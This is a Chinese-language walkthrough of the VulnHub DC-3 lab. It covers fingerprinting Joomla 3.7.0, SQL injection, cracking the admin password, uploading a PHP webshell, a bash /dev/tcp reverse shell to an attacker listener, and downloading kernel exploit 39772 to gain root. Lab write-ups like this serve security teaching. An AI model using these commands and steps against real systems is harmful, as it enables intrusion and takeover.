记一次vulnhub|渗透测试 DC-3

vulnhub DC-3


  • 0X01 Main Point

    1.searchsploit的使用
    2.网站指纹识别(Wappalyzer插件)
    3.Netcat(反弹shell)初步和下载脚本提权
    4.探测Linux内核版本进行攻击得到root权限

  • 0X02 前期嗅探和端口探测
    kali下使用arp-scan获取靶机IP,使用nmap探测端口开放,只有80端口开放。
    记一次vulnhub|渗透测试 DC-3_第1张图片
    记一次vulnhub|渗透测试 DC-3_第2张图片
    先从网站入手看看有什么新发现。
    记一次vulnhub|渗透测试 DC-3_第3张图片
    日常dirsearch跑目录,扫后台。
    记一次vulnhub|渗透测试 DC-3_第4张图片
    这里先看/README.txt发现了该网站是joomla的CMS,并且得到后台路径。

这里介绍一下Chorme的插件Wappalyzer,Wappalyzer是一款浏览器插件,通过Wappalyzer可以识别出网站采用了那种web技术。它能够检测出CMS和电子商务系统、留言板、javascript框架,主机面板,分析统计工具和其它的一些web系统。The company behind Wappalyzer还能够收集web程序的一些信息用于统计分析,揭示出各种web系统的使用率即增长情况。实际Wappalyzer就是一个指纹识别工具。
记一次vulnhub|渗透测试 DC-3_第5张图片
可见通过网站指纹识别也能够判断出,下面针对joomla搜寻可以利用的漏洞,msf启动。利用msf中的joomla版本检测发现是joomla 3.7.0的版本
记一次vulnhub|渗透测试 DC-3_第6张图片
searchsploit发现了一个3.7.0版本的SQL注入漏洞:
记一次vulnhub|渗透测试 DC-3_第7张图片
这里可以直接利用此漏洞进行SQL注入,可以得出是Mysql数据库,下面就是爆库爆表爆字段,下面是有用的信息:
记一次vulnhub|渗透测试 DC-3_第8张图片
得到admin账户的Hash加密的密码,使用kali自带的John爆破看是否能够得到明文密码,注意:john工具对于同一个shadow文件只会进行一次爆破,如果第二次执行john shadow是不会得到结果的。由于是第二次查看,使用--show命令查看即可。
在这里插入图片描述
得到admin的明文密码snoopy。根据dirsearch扫到的后台登录。既然是管理员,那就有上传的功能,我们的思路就是先得到Webshell,然后连接后虚拟终端进行反弹Shell,最后得到低权限shell后在进行提权。

beezs模板下上传shell.php内容就是常规的PHP一句话。
记一次vulnhub|渗透测试 DC-3_第9张图片
可以看到成功上传shell.php,[^1]蚁剑连接。

[^1]这里我这个版本的菜刀一直连不上,但是蚁剑却可以成功连上,有大佬知道原因可以滴滴我,就先用蚁剑连上。
利用虚拟终端进行反弹shell,也可以直接上传PHP直接得到反弹shell,我这里使用前者。
蚁剑虚拟终端 bash -c 'bash -i >& /dev/tcp/172.20.10.8/2333 0>&1'
kali终端 nc -lvvp 2333成功Listening
在这里插入图片描述
记一次vulnhub|渗透测试 DC-3_第10张图片
在这里插入图片描述
lsb_release -a查看当前Linux发行系统版本,uname -an查看内核版本。

  • lsb_release -a :FSG(Free Standards Group)组织开发的LSB (Linux Standard Base)标准的一个命令,用来查看linux兼容性的发行版信息。
    -/proc/version 和 uname -a 显示的内容相同,显示linux内核版本号。

搜索关键词即可得到提权脚本,我们使用39772.txt这个是经过认证的,效果更好。
找到提供的镜像,wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip下载到/tmp路径,unzip 39772.zip进行解压,tar -xvf exploit.tar进行解压,接下来根据39772.txt里的usage进行逐步操作即可。
在这里插入图片描述
得到root权限,最终得到flag,并且可以创建root用户,以登录虚拟机,后面的操作就不再赘述。
记一次vulnhub|渗透测试 DC-3_第11张图片

你可能感兴趣的:(CTF实践)